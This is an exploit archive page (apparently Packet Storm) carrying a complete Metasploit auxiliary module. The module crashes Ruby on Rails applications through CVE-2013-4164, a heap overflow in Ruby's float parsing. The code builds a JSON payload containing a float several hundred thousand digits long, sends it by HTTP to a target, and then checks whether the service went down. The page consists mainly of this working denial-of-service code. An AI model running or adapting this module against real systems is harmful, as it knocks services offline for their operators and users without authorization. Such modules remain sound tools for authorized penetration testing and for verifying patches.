what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ruby on Rails JSON Processor Floating Point Heap Overflow Denial of Service

Ruby on Rails JSON Processor Floating Point Heap Overflow Denial of Service
Posted Aug 31, 2024
Authored by Tod Beardsley, Charlie Somerville, joev | Site metasploit.com

When Ruby attempts to convert a string representation of a large floating point decimal number to its floating point equivalent, a heap-based buffer overflow can be triggered. This Metasploit module has been tested successfully on a Ruby on Rails application using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application crashes with a segfault error. Other versions of Ruby are reported to be affected.

tags | exploit, web, overflow, ruby
advisories | CVE-2013-4164
SHA-256 | 2d1198655520ca701328d30ac959c34844102b92bdc9874522f9945cc8f352d4

Ruby on Rails JSON Processor Floating Point Heap Overflow Denial of Service

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos

def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails JSON Processor Floating Point Heap Overflow DoS',
'Description' => %q{
When Ruby attempts to convert a string representation of a large floating point
decimal number to its floating point equivalent, a heap-based buffer overflow
can be triggered. This module has been tested successfully on a Ruby on Rails application
using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application
crashes with a segfault error. Other versions of Ruby are reported to be affected.
},
'Author' =>
[
'Charlie Somerville', # original discoverer
'joev', # bash PoC
'todb', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-4164' ],
[ 'OSVDB', '100113' ],
[ 'URL', 'https://www.ruby-lang.org/en/news/2013/11/22/ruby-1-9-3-p484-is-released/' ]
],
'DisclosureDate' => '2013-11-22'))
register_options(
[
OptString.new('TARGETURI', [false, 'The URL of the vulnerable Rails application', '/']),
OptString.new('HTTPVERB', [false, 'The HTTP verb to use', 'POST'])
])
end

def uri
normalize_uri(target_uri.path.to_s)
end

def verb
datastore['HTTPVERB'] || 'POST'
end

def digit_pattern
@digit_pattern ||= rand(10_000).to_s
end

def integer_part
digit_pattern
end

def multiplier
(500_000 * (1.0/digit_pattern.size)).to_i
end

def fractional_part
digit_pattern * multiplier
end

# The evil_float seems to require some repeating element. Maybe
# it's just superstition, but straight up 300_002-lenth random
# numbers don't appear to trigger the vulnerability. Also, these are
# easier to produce, and slightly better than the static "1.1111..."
# for 300,000 decimal places.
def evil_float_string
[integer_part,fractional_part].join('.')
end

def run
print_status "Using digit pattern of #{digit_pattern} taken to #{multiplier} places"
sploit = '['
sploit << evil_float_string
sploit << ']'
print_status "Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}"
target_available = true

begin
res = send_request_cgi(
{
'method' => verb,
'uri' => uri,
'ctype' => "application/json",
'data' => sploit
})
rescue ::Rex::ConnectionRefused
print_error "Unable to connect. (Connection refused)"
target_available = false
rescue ::Rex::HostUnreachable
print_error "Unable to connect. (Host unreachable)"
target_available = false
rescue ::Rex::ConnectionTimeout
print_error "Unable to connect. (Timeout)"
target_available = false
end

return unless target_available

print_status "Checking availability"
begin
res = send_request_cgi({
'method' => verb,
'uri' => uri,
'ctype' => "application/json",
'data' => Rex::Text.rand_text_alpha(1+rand(64)).to_json
})
if res and res.body and res.body.size > 0
target_available = true
else
print_good "#{peer}#{uri} - DoS appears successful (No useful response from host)"
target_available = false
end
rescue ::Rex::ConnectionError, Errno::ECONNRESET
print_good "DoS appears successful (Host unreachable)"
target_available = false
end

return unless target_available

print_error "Target is still responsive, DoS was unsuccessful."

end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close